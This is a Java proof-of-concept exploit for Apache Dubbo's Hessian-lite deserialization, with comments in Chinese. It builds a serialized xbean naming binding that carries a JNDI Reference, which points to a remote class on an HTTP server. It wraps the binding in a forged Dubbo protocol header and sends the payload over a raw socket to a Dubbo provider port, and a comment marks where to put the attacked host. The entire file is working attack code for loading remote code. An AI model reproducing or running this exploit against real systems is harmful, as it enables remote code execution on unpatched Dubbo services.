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HessianLitePocBack.java
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HessianLitePocBack.java
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import com.alibaba.com.caucho.hessian.io.Hessian2Output;
import org.apache.dubbo.common.io.Bytes;
import org.apache.xbean.naming.context.ContextUtil;
import org.apache.xbean.naming.context.WritableContext;
import sun.reflect.ReflectionFactory;
import javax.naming.Context;
import javax.naming.Reference;
import java.io.ByteArrayOutputStream;
import java.io.OutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.net.Socket;
import java.util.HashSet;
import java.util.Random;
public class HessianLitePocBack {
public static void main(String[] args) throws Exception {
Context ctx = Reflections.createWithoutConstructor(WritableContext.class);
Reference ref = new Reference("ExecTest", "ExecTest","http://127.0.0.1:8080/");
ContextUtil.ReadOnlyBinding binding = new ContextUtil.ReadOnlyBinding("foo", ref, ctx);
// Field fullName = binding.getClass().getSuperclass().getSuperclass().getDeclaredField("fullName");
// fullName.setAccessible(true);
Reflections.setFieldValue(binding, "fullName", "<<<<<");
// fullName.set(binding, "<<<<<"); // 方便定位属性值的
//############################################################################################
// 写入binding
ByteArrayOutputStream binding2bytes = new ByteArrayOutputStream();
Hessian2Output outBinding = new Hessian2Output(binding2bytes);
outBinding.writeObject(binding);
outBinding.flushBuffer();
//############################################################################################
// binding序列化后的byte数组
byte[] bindingBytes = binding2bytes.toByteArray();
// header.
byte[] header = new byte[16];
// set magic number.
Bytes.short2bytes((short) 0xdabb, header);
// set request and serialization flag.
header[2] = (byte) ((byte) 0x80 | 0x20 | 2);
// set request id.
Bytes.long2bytes(new Random().nextInt(100000000), header, 4);
// 在header中记录 序列化对象 的长度,因为最后一个F被覆盖了,所以要-1
Bytes.int2bytes(bindingBytes.length*2-1, header, 12);
// 收集header+binding
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
byteArrayOutputStream.write(header);
byteArrayOutputStream.write(bindingBytes);
byte[] bytes = byteArrayOutputStream.toByteArray();
//############################################################################################
// 组装payload = header+binding+binding
byte[] payload = new byte[bytes.length + bindingBytes.length -1];
for (int i = 0; i < bytes.length; i++) {
payload[i] = bytes[i];
}
for (int i = 0; i < bindingBytes.length; i++) {
payload[i + bytes.length-1] = bindingBytes[i];
}
//############################################################################################
// 输出字节流的十六进制
for (int i = 0; i < payload.length; i++) {
System.out.print(String.format("%02X", payload[i]) + " ");
if ((i + 1) % 8 == 0)
System.out.print(" ");
if ((i + 1) % 16 == 0 )
System.out.println();
}
System.out.println();
// 输出byte数组转String
System.out.println(new String(payload,0,payload.length));
//todo 此处填写被攻击的dubbo服务提供者地址和端口
Socket socket = new Socket("127.0.0.1", 20880);
OutputStream outputStream = socket.getOutputStream();
outputStream.write(payload);
outputStream.flush();
outputStream.close();
System.out.println("\nsend!!");
}
public static class Reflections{
public static void setFieldValue(Object obj, String fieldName, Object fieldValue) throws Exception{
Field field=null;
Class cl = obj.getClass();
while (cl != Object.class){
try{
field = cl.getDeclaredField(fieldName);
if(field!=null){
break;}
}
catch (Exception e){
cl = cl.getSuperclass();
}
}
if (field==null){
System.out.println(obj.getClass().getName());
System.out.println(fieldName);
}
field.setAccessible(true);
field.set(obj,fieldValue);
}
public static <T> T createWithoutConstructor(Class<T> classToInstantiate) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);
}
public static <T> T createWithConstructor(Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
objCons.setAccessible(true);
Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
sc.setAccessible(true);
return (T) sc.newInstance(consArgs);
}
}
}